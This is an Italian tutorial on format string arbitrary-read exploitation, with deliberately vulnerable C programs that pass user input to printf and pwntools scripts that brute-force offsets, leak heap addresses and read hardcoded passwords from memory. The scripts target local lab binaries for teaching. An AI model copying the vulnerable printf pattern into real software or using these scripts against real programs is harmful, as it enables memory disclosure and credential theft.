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# Format Strings - Esempio di Lettura Arbitraria

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## Inizio Lettura Binaria

### Codice
```c
#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}
```
Compilalo con:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Sfruttamento
```python
from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
```
- L'**offset è 11** perché impostando diversi A e **brute-forzando** con un ciclo di offset da 0 a 50 si è scoperto che all'offset 11 e con 5 caratteri extra (pipe `|` nel nostro caso), è possibile controllare un indirizzo completo.
- Ho usato **`%11$p`** con padding fino a che l'indirizzo fosse tutto 0x4141414141414141
- Il **payload della stringa di formato è PRIMA dell'indirizzo** perché il **printf smette di leggere a un byte nullo**, quindi se inviamo l'indirizzo e poi la stringa di formato, il printf non raggiungerà mai la stringa di formato poiché verrà trovato un byte nullo prima
- L'indirizzo selezionato è 0x00400000 perché è dove inizia il binario (no PIE)

<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>

## Leggi le password
```c
#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}
```
Compilalo con:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Leggi dallo stack

La **`stack_password`** sarà memorizzata nello stack perché è una variabile locale, quindi abusare di printf per mostrare il contenuto dello stack è sufficiente. Questo è un exploit per BF le prime 100 posizioni per rivelare le password dallo stack:
```python
from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
Nell'immagine è possibile vedere che possiamo leakare la password dallo stack nella posizione `10`:

<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>

### Leggere i dati

Eseguendo lo stesso exploit ma con `%p` invece di `%s` è possibile leakare un indirizzo della heap dallo stack a `%25$p`. Inoltre, confrontando l'indirizzo leakato (`0xaaaab7030894`) con la posizione della password in memoria in quel processo possiamo ottenere la differenza degli indirizzi:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

Ora è il momento di trovare come controllare 1 indirizzo nello stack per accedervi dalla seconda vulnerabilità della format string:
```python
from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
E è possibile vedere che nel **try 14** con il passaggio utilizzato possiamo controllare un indirizzo:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

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